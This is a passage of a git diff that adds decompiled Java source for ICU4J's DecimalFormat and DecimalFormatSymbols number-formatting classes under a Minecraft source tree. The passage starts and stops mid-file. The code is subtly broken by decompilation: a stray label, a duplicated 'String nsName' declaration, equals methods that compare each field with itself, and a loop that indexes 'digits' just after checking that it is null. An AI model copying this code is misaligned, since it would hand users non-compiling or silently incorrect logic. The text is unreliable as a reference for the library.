+            } }
+          affix.append(ch);
+          break;
+        
+
+
+        case 3: 
+        case 4: 
+          if (ch == '\'') {
+            if ((pos + 1 < pattern.length()) && (pattern.charAt(pos + 1) == '\'')) {
+              pos++;
+              affix.append(ch);
+            } else {
+              subpart -= 2;
+            }
+          }
+          
+
+
+
+
+          affix.append(ch);
+        }
+        
+      }
+      label1422:
+      if ((subpart == 3) || (subpart == 4)) {
+        patternError("Unterminated quote", pattern);
+      }
+      
+      if (sub0Limit == 0) {
+        sub0Limit = pattern.length();
+      }
+      
+      if (sub2Limit == 0) {
+        sub2Limit = pattern.length();
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+      if ((zeroDigitCount == 0) && (sigDigitCount == 0) && (digitLeftCount > 0) && (decimalPos >= 0))
+      {
+
+        int n = decimalPos;
+        if (n == 0)
+          n++;
+        digitRightCount = digitLeftCount - n;
+        digitLeftCount = n - 1;
+        zeroDigitCount = 1;
+      }
+      
+
+      if (((decimalPos < 0) && (digitRightCount > 0) && (sigDigitCount == 0)) || ((decimalPos >= 0) && ((sigDigitCount > 0) || (decimalPos < digitLeftCount) || (decimalPos > digitLeftCount + zeroDigitCount))) || (groupingCount == 0) || (groupingCount2 == 0) || ((sigDigitCount > 0) && (zeroDigitCount > 0)) || (subpart > 2))
+      {
+
+
+
+
+
+
+
+        patternError("Malformed pattern", pattern);
+      }
+      
+
+      if (padPos >= 0) {
+        if (padPos == start) {
+          padPos = 0;
+        } else if (padPos + 2 == sub0Start) {
+          padPos = 1;
+        } else if (padPos == sub0Limit) {
+          padPos = 2;
+        } else if (padPos + 2 == sub2Limit) {
+          padPos = 3;
+        } else {
+          patternError("Illegal pad position", pattern);
+        }
+      }
+      
+      if (part == 0)
+      {
+
+
+
+
+        posPrefixPattern = (this.negPrefixPattern = prefix.toString());
+        posSuffixPattern = (this.negSuffixPattern = suffix.toString());
+        
+        useExponentialNotation = (expDigits >= 0);
+        if (useExponentialNotation) {
+          minExponentDigits = expDigits;
+          exponentSignAlwaysShown = expSignAlways;
+        }
+        int digitTotalCount = digitLeftCount + zeroDigitCount + digitRightCount;
+        
+
+
+        int effectiveDecimalPos = decimalPos >= 0 ? decimalPos : digitTotalCount;
+        boolean useSigDig = sigDigitCount > 0;
+        setSignificantDigitsUsed(useSigDig);
+        if (useSigDig) {
+          setMinimumSignificantDigits(sigDigitCount);
+          setMaximumSignificantDigits(sigDigitCount + digitRightCount);
+        } else {
+          int minInt = effectiveDecimalPos - digitLeftCount;
+          setMinimumIntegerDigits(minInt);
+          
+
+
+          setMaximumIntegerDigits(useExponentialNotation ? digitLeftCount + minInt : 309);
+          
+          setMaximumFractionDigits(decimalPos >= 0 ? digitTotalCount - decimalPos : 0);
+          
+          setMinimumFractionDigits(decimalPos >= 0 ? digitLeftCount + zeroDigitCount - decimalPos : 0);
+        }
+        
+        setGroupingUsed(groupingCount > 0);
+        groupingSize = (groupingCount > 0 ? groupingCount : 0);
+        groupingSize2 = ((groupingCount2 > 0) && (groupingCount2 != groupingCount) ? groupingCount2 : 0);
+        
+        multiplier = multpl;
+        setDecimalSeparatorAlwaysShown((decimalPos == 0) || (decimalPos == digitTotalCount));
+        if (padPos >= 0) {
+          padPosition = padPos;
+          formatWidth = (sub0Limit - sub0Start);
+          pad = padChar;
+        } else {
+          formatWidth = 0;
+        }
+        if (incrementVal != 0L)
+        {
+
+          int scale = incrementPos - effectiveDecimalPos;
+          roundingIncrementICU = com.ibm.icu.math.BigDecimal.valueOf(incrementVal, scale > 0 ? scale : 0);
+          if (scale < 0) {
+            roundingIncrementICU = roundingIncrementICU.movePointRight(-scale);
+          }
+          setRoundingDouble();
+          roundingMode = 6;
+        } else {
+          setRoundingIncrement((com.ibm.icu.math.BigDecimal)null);
+        }
+        
+
+        currencySignCount = currencySignCnt;
+      }
+      else
+      {
+        negPrefixPattern = prefix.toString();
+        negSuffixPattern = suffix.toString();
+        gotNegative = true;
+      }
+    }
+    
+
+
+    if (pattern.length() == 0) {
+      posPrefixPattern = (this.posSuffixPattern = "");
+      setMinimumIntegerDigits(0);
+      setMaximumIntegerDigits(309);
+      setMinimumFractionDigits(0);
+      setMaximumFractionDigits(340);
+    }
+    
+
+
+
+
+
+
+    if ((!gotNegative) || ((negPrefixPattern.equals(posPrefixPattern)) && (negSuffixPattern.equals(posSuffixPattern))))
+    {
+
+      negSuffixPattern = posSuffixPattern;
+      negPrefixPattern = ('-' + posPrefixPattern);
+    }
+    setLocale(null, null);
+    
+    formatPattern = pattern;
+    
+
+    if (currencySignCount > 0)
+    {
+
+      Currency theCurrency = getCurrency();
+      if (theCurrency != null) {
+        setRoundingIncrement(theCurrency.getRoundingIncrement());
+        int d = theCurrency.getDefaultFractionDigits();
+        setMinimumFractionDigits(d);
+        setMaximumFractionDigits(d);
+      }
+      
+
+      if ((currencySignCount == 3) && (currencyPluralInfo == null))
+      {
+        currencyPluralInfo = new CurrencyPluralInfo(symbols.getULocale());
+      }
+    }
+  }
+  
+
+
+  private void setRoundingDouble()
+  {
+    if (roundingIncrementICU == null) {
+      roundingDouble = 0.0D;
+      roundingDoubleReciprocal = 0.0D;
+    } else {
+      roundingDouble = roundingIncrementICU.doubleValue();
+      setRoundingDoubleReciprocal(1.0D / roundingDouble);
+    }
+  }
+  
+  private void patternError(String msg, String pattern) {
+    throw new IllegalArgumentException(msg + " in pattern \"" + pattern + '"');
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setMaximumIntegerDigits(int newValue)
+  {
+    super.setMaximumIntegerDigits(Math.min(newValue, 309));
+  }
+  
+
+
+
+
+
+
+
+  public void setMinimumIntegerDigits(int newValue)
+  {
+    super.setMinimumIntegerDigits(Math.min(newValue, 309));
+  }
+  
+
+
+
+
+
+
+
+  public int getMinimumSignificantDigits()
+  {
+    return minSignificantDigits;
+  }
+  
+
+
+
+
+
+
+
+  public int getMaximumSignificantDigits()
+  {
+    return maxSignificantDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setMinimumSignificantDigits(int min)
+  {
+    if (min < 1) {
+      min = 1;
+    }
+    
+    int max = Math.max(maxSignificantDigits, min);
+    minSignificantDigits = min;
+    maxSignificantDigits = max;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setMaximumSignificantDigits(int max)
+  {
+    if (max < 1) {
+      max = 1;
+    }
+    
+    int min = Math.min(minSignificantDigits, max);
+    minSignificantDigits = min;
+    maxSignificantDigits = max;
+  }
+  
+
+
+
+
+
+
+  public boolean areSignificantDigitsUsed()
+  {
+    return useSignificantDigits;
+  }
+  
+
+
+
+
+
+
+
+  public void setSignificantDigitsUsed(boolean useSignificantDigits)
+  {
+    this.useSignificantDigits = useSignificantDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setCurrency(Currency theCurrency)
+  {
+    super.setCurrency(theCurrency);
+    if (theCurrency != null) {
+      boolean[] isChoiceFormat = new boolean[1];
+      String s = theCurrency.getName(symbols.getULocale(), 0, isChoiceFormat);
+      
+      symbols.setCurrency(theCurrency);
+      symbols.setCurrencySymbol(s);
+    }
+    
+    if (currencySignCount > 0) {
+      if (theCurrency != null) {
+        setRoundingIncrement(theCurrency.getRoundingIncrement());
+        int d = theCurrency.getDefaultFractionDigits();
+        setMinimumFractionDigits(d);
+        setMaximumFractionDigits(d);
+      }
+      if (currencySignCount != 3)
+      {
+
+        expandAffixes(null);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  protected Currency getEffectiveCurrency()
+  {
+    Currency c = getCurrency();
+    if (c == null) {
+      c = Currency.getInstance(symbols.getInternationalCurrencySymbol());
+    }
+    return c;
+  }
+  
+
+
+
+
+
+
+
+  public void setMaximumFractionDigits(int newValue)
+  {
+    super.setMaximumFractionDigits(Math.min(newValue, 340));
+  }
+  
+
+
+
+
+
+
+
+  public void setMinimumFractionDigits(int newValue)
+  {
+    super.setMinimumFractionDigits(Math.min(newValue, 340));
+  }
+  
+
+
+
+
+
+
+
+  public void setParseBigDecimal(boolean value)
+  {
+    parseBigDecimal = value;
+  }
+  
+
+
+
+
+
+  public boolean isParseBigDecimal()
+  {
+    return parseBigDecimal;
+  }
+  
+
+
+
+
+
+
+  public void setParseMaxDigits(int newValue)
+  {
+    if (newValue > 0) {
+      PARSE_MAX_EXPONENT = newValue;
+    }
+  }
+  
+
+
+
+
+
+  public int getParseMaxDigits()
+  {
+    return PARSE_MAX_EXPONENT;
+  }
+  
+
+
+
+
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    attributes.clear();
+    
+    stream.defaultWriteObject();
+  }
+  
+
+
+
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (getMaximumIntegerDigits() > 309) {
+      setMaximumIntegerDigits(309);
+    }
+    if (getMaximumFractionDigits() > 340) {
+      setMaximumFractionDigits(340);
+    }
+    if (serialVersionOnStream < 2) {
+      exponentSignAlwaysShown = false;
+      setInternalRoundingIncrement(null);
+      setRoundingDouble();
+      roundingMode = 6;
+      formatWidth = 0;
+      pad = ' ';
+      padPosition = 0;
+      if (serialVersionOnStream < 1)
+      {
+        useExponentialNotation = false;
+      }
+    }
+    if (serialVersionOnStream < 3)
+    {
+
+      setCurrencyForSymbols();
+    }
+    serialVersionOnStream = 3;
+    digitList = new DigitList();
+    
+    if (roundingIncrement != null) {
+      setInternalRoundingIncrement(new com.ibm.icu.math.BigDecimal(roundingIncrement));
+      setRoundingDouble();
+    }
+  }
+  
+  private void setInternalRoundingIncrement(com.ibm.icu.math.BigDecimal value) {
+    roundingIncrementICU = value;
+    roundingIncrement = (value == null ? null : value.toBigDecimal());
+  }
+  
+
+
+
+
+  private transient DigitList digitList = new DigitList();
+  
+
+
+
+
+
+
+  private String positivePrefix = "";
+  
+
+
+
+
+
+
+
+  private String positiveSuffix = "";
+  
+
+
+
+
+
+
+  private String negativePrefix = "-";
+  
+
+
+
+
+
+
+
+  private String negativeSuffix = "";
+  
+
+
+
+
+
+
+
+
+
+  private String posPrefixPattern;
+  
+
+
+
+
+
+
+
+
+
+  private String posSuffixPattern;
+  
+
+
+
+
+
+
+
+
+
+  private String negPrefixPattern;
+  
+
+
+
+
+
+
+
+
+  private String negSuffixPattern;
+  
+
+
+
+
+
+
+
+
+  private ChoiceFormat currencyChoice;
+  
+
+
+
+
+
+
+
+
+  private int multiplier = 1;
+  
+
+
+
+
+
+
+
+
+  private byte groupingSize = 3;
+  
+
+
+
+
+
+
+  private byte groupingSize2 = 0;
+  
+
+
+
+
+
+
+
+  private boolean decimalSeparatorAlwaysShown = false;
+  
+
+
+
+
+
+
+
+
+
+  private DecimalFormatSymbols symbols = null;
+  
+
+
+
+
+
+
+  private boolean useSignificantDigits = false;
+  
+
+
+
+
+
+
+
+  private int minSignificantDigits = 1;
+  
+
+
+
+
+
+
+
+  private int maxSignificantDigits = 6;
+  
+
+
+
+
+
+
+
+
+
+
+  private boolean useExponentialNotation;
+  
+
+
+
+
+
+
+
+
+
+
+  private byte minExponentDigits;
+  
+
+
+
+
+
+
+
+
+
+
+  private boolean exponentSignAlwaysShown = false;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private java.math.BigDecimal roundingIncrement = null;
+  
+
+
+
+
+
+
+
+
+
+
+  private transient com.ibm.icu.math.BigDecimal roundingIncrementICU = null;
+  
+
+
+
+
+
+  private transient double roundingDouble = 0.0D;
+  
+
+
+
+
+  private transient double roundingDoubleReciprocal = 0.0D;
+  
+
+
+
+
+
+
+
+
+
+
+  private int roundingMode = 6;
+  
+
+
+
+
+
+
+
+
+
+  private com.ibm.icu.math.MathContext mathContext = new com.ibm.icu.math.MathContext(0, 0);
+  
+
+
+
+
+
+
+
+  private int formatWidth = 0;
+  
+
+
+
+
+
+
+
+  private char pad = ' ';
+  
+
+
+
+
+
+
+
+
+
+  private int padPosition = 0;
+  
+
+
+
+
+
+
+
+
+
+
+  private boolean parseBigDecimal = false;
+  
+
+
+
+
+
+
+
+
+
+
+
+  static final int currentSerialVersion = 3;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int serialVersionOnStream = 3;
+  
+
+
+  public static final int PAD_BEFORE_PREFIX = 0;
+  
+
+
+  public static final int PAD_AFTER_PREFIX = 1;
+  
+
+
+  public static final int PAD_BEFORE_SUFFIX = 2;
+  
+
+
+  public static final int PAD_AFTER_SUFFIX = 3;
+  
+
+
+  static final char PATTERN_ZERO_DIGIT = '0';
+  
+
+
+  static final char PATTERN_ONE_DIGIT = '1';
+  
+
+
+  static final char PATTERN_TWO_DIGIT = '2';
+  
+
+
+  static final char PATTERN_THREE_DIGIT = '3';
+  
+
+
+  static final char PATTERN_FOUR_DIGIT = '4';
+  
+
+
+  static final char PATTERN_FIVE_DIGIT = '5';
+  
+
+
+  static final char PATTERN_SIX_DIGIT = '6';
+  
+
+
+  static final char PATTERN_SEVEN_DIGIT = '7';
+  
+
+
+  static final char PATTERN_EIGHT_DIGIT = '8';
+  
+
+
+  static final char PATTERN_NINE_DIGIT = '9';
+  
+
+
+  static final char PATTERN_GROUPING_SEPARATOR = ',';
+  
+
+
+  static final char PATTERN_DECIMAL_SEPARATOR = '.';
+  
+
+
+  static final char PATTERN_DIGIT = '#';
+  
+
+
+  static final char PATTERN_SIGNIFICANT_DIGIT = '@';
+  
+
+
+  static final char PATTERN_EXPONENT = 'E';
+  
+
+
+  static final char PATTERN_PLUS_SIGN = '+';
+  
+
+
+  private static final char PATTERN_PER_MILLE = '‰';
+  
+
+
+  private static final char PATTERN_PERCENT = '%';
+  
+
+
+  static final char PATTERN_PAD_ESCAPE = '*';
+  
+
+
+  private static final char PATTERN_MINUS = '-';
+  
+
+
+  private static final char PATTERN_SEPARATOR = ';';
+  
+
+
+  private static final char CURRENCY_SIGN = '¤';
+  
+
+  private static final char QUOTE = '\'';
+  
+
+  static final int DOUBLE_INTEGER_DIGITS = 309;
+  
+
+  static final int DOUBLE_FRACTION_DIGITS = 340;
+  
+
+  static final int MAX_SCIENTIFIC_INTEGER_DIGITS = 8;
+  
+
+  private static final long serialVersionUID = 864413376551465018L;
+  
+
+  private ArrayList<FieldPosition> attributes = new ArrayList();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String formatPattern = "";
+  
+
+  private int style = 0;
+  
+
+
+
+
+
+
+  private int currencySignCount = 0;
+  
+
+
+
+
+
+
+
+  private static final class AffixForCurrency
+  {
+    private String negPrefixPatternForCurrency = null;
+    
+    private String negSuffixPatternForCurrency = null;
+    
+    private String posPrefixPatternForCurrency = null;
+    
+    private String posSuffixPatternForCurrency = null;
+    private final int patternType;
+    
+    public AffixForCurrency(String negPrefix, String negSuffix, String posPrefix, String posSuffix, int type)
+    {
+      negPrefixPatternForCurrency = negPrefix;
+      negSuffixPatternForCurrency = negSuffix;
+      posPrefixPatternForCurrency = posPrefix;
+      posSuffixPatternForCurrency = posSuffix;
+      patternType = type;
+    }
+    
+    public String getNegPrefix() {
+      return negPrefixPatternForCurrency;
+    }
+    
+    public String getNegSuffix() {
+      return negSuffixPatternForCurrency;
+    }
+    
+    public String getPosPrefix() {
+      return posPrefixPatternForCurrency;
+    }
+    
+    public String getPosSuffix() {
+      return posSuffixPatternForCurrency;
+    }
+    
+    public int getPatternType() {
+      return patternType;
+    }
+  }
+  
+
+
+
+  private transient Set<AffixForCurrency> affixPatternsForCurrency = null;
+  
+
+
+  private transient boolean isReadyForParsing = false;
+  
+
+  private CurrencyPluralInfo currencyPluralInfo = null;
+  
+
+
+  static class Unit
+  {
+    private final String prefix;
+    
+
+    private final String suffix;
+    
+
+    public Unit(String prefix, String suffix)
+    {
+      this.prefix = prefix;
+      this.suffix = suffix;
+    }
+    
+    public void writeSuffix(StringBuffer toAppendTo) {
+      toAppendTo.append(suffix);
+    }
+    
+    public void writePrefix(StringBuffer toAppendTo) {
+      toAppendTo.append(prefix);
+    }
+    
+    public boolean equals(Object obj)
+    {
+      if (this == obj) {
+        return true;
+      }
+      if (!(obj instanceof Unit)) {
+        return false;
+      }
+      Unit other = (Unit)obj;
+      return (prefix.equals(prefix)) && (suffix.equals(suffix));
+    }
+  }
+  
+  static final Unit NULL_UNIT = new Unit("", "");
+}
diff --git a/src/minecraft/com/ibm/icu/text/DecimalFormatSymbols.java b/src/minecraft/com/ibm/icu/text/DecimalFormatSymbols.java
new file mode 100644
index 0000000..1caa94b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DecimalFormatSymbols.java
@@ -0,0 +1,1286 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CurrencyData.CurrencyDisplayInfo;
+import com.ibm.icu.impl.CurrencyData.CurrencyFormatInfo;
+import com.ibm.icu.impl.CurrencyData.CurrencySpacingInfo;
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.util.Currency;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Type;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.ObjectInputStream;
+import java.text.ChoiceFormat;
+import java.util.Locale;
+import java.util.MissingResourceException;
+
+public class DecimalFormatSymbols implements Cloneable, java.io.Serializable
+{
+  public static final int CURRENCY_SPC_CURRENCY_MATCH = 0;
+  public static final int CURRENCY_SPC_SURROUNDING_MATCH = 1;
+  public static final int CURRENCY_SPC_INSERT = 2;
+  private String[] currencySpcBeforeSym;
+  private String[] currencySpcAfterSym;
+  private char zeroDigit;
+  private char[] digits;
+  private char groupingSeparator;
+  private char decimalSeparator;
+  private char perMill;
+  private char percent;
+  private char digit;
+  private char sigDigit;
+  private char patternSeparator;
+  private String infinity;
+  private String NaN;
+  private char minusSign;
+  private String currencySymbol;
+  private String intlCurrencySymbol;
+  private char monetarySeparator;
+  private char monetaryGroupingSeparator;
+  private char exponential;
+  private String exponentSeparator;
+  private char padEscape;
+  private char plusSign;
+  private Locale requestedLocale;
+  private ULocale ulocale;
+  private static final long serialVersionUID = 5772796243397350300L;
+  private static final int currentSerialVersion = 6;
+  
+  public DecimalFormatSymbols()
+  {
+    initialize(ULocale.getDefault(com.ibm.icu.util.ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+  public DecimalFormatSymbols(Locale locale)
+  {
+    initialize(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+  public DecimalFormatSymbols(ULocale locale)
+  {
+    initialize(locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static DecimalFormatSymbols getInstance()
+  {
+    return new DecimalFormatSymbols();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static DecimalFormatSymbols getInstance(Locale locale)
+  {
+    return new DecimalFormatSymbols(locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static DecimalFormatSymbols getInstance(ULocale locale)
+  {
+    return new DecimalFormatSymbols(locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Locale[] getAvailableLocales()
+  {
+    return ICUResourceBundle.getAvailableLocales();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale[] getAvailableULocales()
+  {
+    return ICUResourceBundle.getAvailableULocales();
+  }
+  
+
+
+
+
+
+  public char getZeroDigit()
+  {
+    if (digits != null) {
+      return digits[0];
+    }
+    return zeroDigit;
+  }
+  
+
+
+
+
+  public char[] getDigits()
+  {
+    if (digits != null) {
+      return (char[])digits.clone();
+    }
+    char[] digitArray = new char[10];
+    for (int i = 0; i < 10; i++) {
+      digitArray[i] = ((char)(zeroDigit + i));
+    }
+    return digitArray;
+  }
+  
+
+
+
+
+
+  char[] getDigitsLocal()
+  {
+    if (digits != null) {
+      return digits;
+    }
+    char[] digitArray = new char[10];
+    for (int i = 0; i < 10; i++) {
+      digitArray[i] = ((char)(zeroDigit + i));
+    }
+    return digitArray;
+  }
+  
+
+
+
+
+
+  public void setZeroDigit(char zeroDigit)
+  {
+    if (digits != null) {
+      digits[0] = zeroDigit;
+      if (Character.digit(zeroDigit, 10) == 0) {
+        for (int i = 1; i < 10; i++) {
+          digits[i] = ((char)(zeroDigit + i));
+        }
+      }
+    } else {
+      this.zeroDigit = zeroDigit;
+    }
+  }
+  
+
+
+
+
+  public char getSignificantDigit()
+  {
+    return sigDigit;
+  }
+  
+
+
+
+
+  public void setSignificantDigit(char sigDigit)
+  {
+    this.sigDigit = sigDigit;
+  }
+  
+
+
+
+
+  public char getGroupingSeparator()
+  {
+    return groupingSeparator;
+  }
+  
+
+
+
+
+  public void setGroupingSeparator(char groupingSeparator)
+  {
+    this.groupingSeparator = groupingSeparator;
+  }
+  
+
+
+
+
+  public char getDecimalSeparator()
+  {
+    return decimalSeparator;
+  }
+  
+
+
+
+
+  public void setDecimalSeparator(char decimalSeparator)
+  {
+    this.decimalSeparator = decimalSeparator;
+  }
+  
+
+
+
+
+  public char getPerMill()
+  {
+    return perMill;
+  }
+  
+
+
+
+
+  public void setPerMill(char perMill)
+  {
+    this.perMill = perMill;
+  }
+  
+
+
+
+
+  public char getPercent()
+  {
+    return percent;
+  }
+  
+
+
+
+
+  public void setPercent(char percent)
+  {
+    this.percent = percent;
+  }
+  
+
+
+
+
+  public char getDigit()
+  {
+    return digit;
+  }
+  
+
+
+
+
+  public void setDigit(char digit)
+  {
+    this.digit = digit;
+  }
+  
+
+
+
+
+
+  public char getPatternSeparator()
+  {
+    return patternSeparator;
+  }
+  
+
+
+
+
+
+  public void setPatternSeparator(char patternSeparator)
+  {
+    this.patternSeparator = patternSeparator;
+  }
+  
+
+
+
+
+
+
+
+  public String getInfinity()
+  {
+    return infinity;
+  }
+  
+
+
+
+
+
+  public void setInfinity(String infinity)
+  {
+    this.infinity = infinity;
+  }
+  
+
+
+
+
+
+
+  public String getNaN()
+  {
+    return NaN;
+  }
+  
+
+
+
+
+
+  public void setNaN(String NaN)
+  {
+    this.NaN = NaN;
+  }
+  
+
+
+
+
+
+
+  public char getMinusSign()
+  {
+    return minusSign;
+  }
+  
+
+
+
+
+
+
+  public void setMinusSign(char minusSign)
+  {
+    this.minusSign = minusSign;
+  }
+  
+
+
+
+
+  public String getCurrencySymbol()
+  {
+    return currencySymbol;
+  }
+  
+
+
+
+
+  public void setCurrencySymbol(String currency)
+  {
+    currencySymbol = currency;
+  }
+  
+
+
+
+
+  public String getInternationalCurrencySymbol()
+  {
+    return intlCurrencySymbol;
+  }
+  
+
+
+
+
+  public void setInternationalCurrencySymbol(String currency)
+  {
+    intlCurrencySymbol = currency;
+  }
+  
+
+
+
+
+
+  public Currency getCurrency()
+  {
+    return currency;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setCurrency(Currency currency)
+  {
+    if (currency == null) {
+      throw new NullPointerException();
+    }
+    this.currency = currency;
+    intlCurrencySymbol = currency.getCurrencyCode();
+    currencySymbol = currency.getSymbol(requestedLocale);
+  }
+  
+
+
+
+
+  public char getMonetaryDecimalSeparator()
+  {
+    return monetarySeparator;
+  }
+  
+
+
+
+
+  public char getMonetaryGroupingSeparator()
+  {
+    return monetaryGroupingSeparator;
+  }
+  
+
+
+
+  String getCurrencyPattern()
+  {
+    return currencyPattern;
+  }
+  
+
+
+
+
+  public void setMonetaryDecimalSeparator(char sep)
+  {
+    monetarySeparator = sep;
+  }
+  
+
+
+
+
+  public void setMonetaryGroupingSeparator(char sep)
+  {
+    monetaryGroupingSeparator = sep;
+  }
+  
+
+
+
+
+
+
+
+  public String getExponentSeparator()
+  {
+    return exponentSeparator;
+  }
+  
+
+
+
+
+
+
+
+  public void setExponentSeparator(String exp)
+  {
+    exponentSeparator = exp;
+  }
+  
+
+
+
+
+
+
+
+
+  public char getPlusSign()
+  {
+    return plusSign;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setPlusSign(char plus)
+  {
+    plusSign = plus;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public char getPadEscape()
+  {
+    return padEscape;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setPadEscape(char c)
+  {
+    padEscape = c;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getPatternForCurrencySpacing(int itemType, boolean beforeCurrency)
+  {
+    if ((itemType < 0) || (itemType > 2))
+    {
+      throw new IllegalArgumentException("unknown currency spacing: " + itemType);
+    }
+    if (beforeCurrency) {
+      return currencySpcBeforeSym[itemType];
+    }
+    return currencySpcAfterSym[itemType];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setPatternForCurrencySpacing(int itemType, boolean beforeCurrency, String pattern)
+  {
+    if ((itemType < 0) || (itemType > 2))
+    {
+      throw new IllegalArgumentException("unknown currency spacing: " + itemType);
+    }
+    if (beforeCurrency) {
+      currencySpcBeforeSym[itemType] = pattern;
+    } else {
+      currencySpcAfterSym[itemType] = pattern;
+    }
+  }
+  
+
+
+
+
+  public Locale getLocale()
+  {
+    return requestedLocale;
+  }
+  
+
+
+
+
+  public ULocale getULocale()
+  {
+    return ulocale;
+  }
+  
+
+
+  public Object clone()
+  {
+    try
+    {
+      return (DecimalFormatSymbols)super.clone();
+    }
+    catch (CloneNotSupportedException e)
+    {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof DecimalFormatSymbols)) {
+      return false;
+    }
+    if (this == obj) {
+      return true;
+    }
+    DecimalFormatSymbols other = (DecimalFormatSymbols)obj;
+    for (int i = 0; i <= 2; i++) {
+      if (!currencySpcBeforeSym[i].equals(currencySpcBeforeSym[i])) {
+        return false;
+      }
+      if (!currencySpcAfterSym[i].equals(currencySpcAfterSym[i])) {
+        return false;
+      }
+    }
+    
+    if (digits == null) {
+      for (int i = 0; i < 10; i++) {
+        if (digits[i] != zeroDigit + i) {
+          return false;
+        }
+      }
+    } else if (!java.util.Arrays.equals(digits, digits)) {
+      return false;
+    }
+    
+    return (groupingSeparator == groupingSeparator) && (decimalSeparator == decimalSeparator) && (percent == percent) && (perMill == perMill) && (digit == digit) && (minusSign == minusSign) && (patternSeparator == patternSeparator) && (infinity.equals(infinity)) && (NaN.equals(NaN)) && (currencySymbol.equals(currencySymbol)) && (intlCurrencySymbol.equals(intlCurrencySymbol)) && (padEscape == padEscape) && (plusSign == plusSign) && (exponentSeparator.equals(exponentSeparator)) && (monetarySeparator == monetarySeparator) && (monetaryGroupingSeparator == monetaryGroupingSeparator);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    int result = digits[0];
+    result = result * 37 + groupingSeparator;
+    result = result * 37 + decimalSeparator;
+    return result;
+  }
+  
+
+
+
+
+  private void initialize(ULocale locale)
+  {
+    requestedLocale = locale.toLocale();
+    ulocale = locale;
+    
+
+
+    NumberingSystem ns = NumberingSystem.getInstance(locale);
+    digits = new char[10];
+    String nsName; String nsName; if ((ns != null) && (ns.getRadix() == 10) && (!ns.isAlgorithmic()) && (NumberingSystem.isValidDigitString(ns.getDescription())))
+    {
+      String digitString = ns.getDescription();
+      digits[0] = digitString.charAt(0);
+      digits[1] = digitString.charAt(1);
+      digits[2] = digitString.charAt(2);
+      digits[3] = digitString.charAt(3);
+      digits[4] = digitString.charAt(4);
+      digits[5] = digitString.charAt(5);
+      digits[6] = digitString.charAt(6);
+      digits[7] = digitString.charAt(7);
+      digits[8] = digitString.charAt(8);
+      digits[9] = digitString.charAt(9);
+      nsName = ns.getName();
+    } else {
+      digits[0] = '0';
+      digits[1] = '1';
+      digits[2] = '2';
+      digits[3] = '3';
+      digits[4] = '4';
+      digits[5] = '5';
+      digits[6] = '6';
+      digits[7] = '7';
+      digits[8] = '8';
+      digits[9] = '9';
+      nsName = "latn";
+    }
+    
+
+    String[][] data = (String[][])cachedLocaleData.get(locale);
+    
+    if (data == null) {
+      data = new String[1][];
+      ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+      
+      boolean isLatn = nsName.equals("latn");
+      String baseKey = "NumberElements/" + nsName + "/symbols/";
+      String latnKey = "NumberElements/latn/symbols/";
+      String[] symbolKeys = { "decimal", "group", "list", "percentSign", "minusSign", "plusSign", "exponential", "perMille", "infinity", "nan", "currencyDecimal", "currencyGroup" };
+      String[] fallbackElements = { ".", ",", ";", "%", "-", "+", "E", "‰", "∞", "NaN", null, null };
+      String[] symbolsArray = new String[symbolKeys.length];
+      for (int i = 0; i < symbolKeys.length; i++) {
+        try {
+          symbolsArray[i] = rb.getStringWithFallback(baseKey + symbolKeys[i]);
+        } catch (MissingResourceException ex) {
+          if (!isLatn) {
+            try {
+              symbolsArray[i] = rb.getStringWithFallback(latnKey + symbolKeys[i]);
+            } catch (MissingResourceException ex1) {
+              symbolsArray[i] = fallbackElements[i];
+            }
+          } else {
+            symbolsArray[i] = fallbackElements[i];
+          }
+        }
+      }
+      
+      data[0] = symbolsArray;
+      
+      cachedLocaleData.put(locale, data);
+    }
+    String[] numberElements = data[0];
+    
+    ICUResourceBundle r = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+    
+
+
+    ULocale uloc = r.getULocale();
+    setLocale(uloc, uloc);
+    
+
+    decimalSeparator = numberElements[0].charAt(0);
+    groupingSeparator = numberElements[1].charAt(0);
+    patternSeparator = numberElements[2].charAt(0);
+    percent = numberElements[3].charAt(0);
